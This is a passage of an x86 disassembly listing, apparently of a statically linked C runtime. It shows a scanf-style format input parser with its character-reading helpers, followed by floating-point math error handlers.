mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D084, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D088, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D088
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D084, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D084, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D428
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset dword_43D300
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset dword_43D2F8
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D084
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D084, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D084, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D084, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D084, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D084, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D7F0, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDDC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D7F0, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
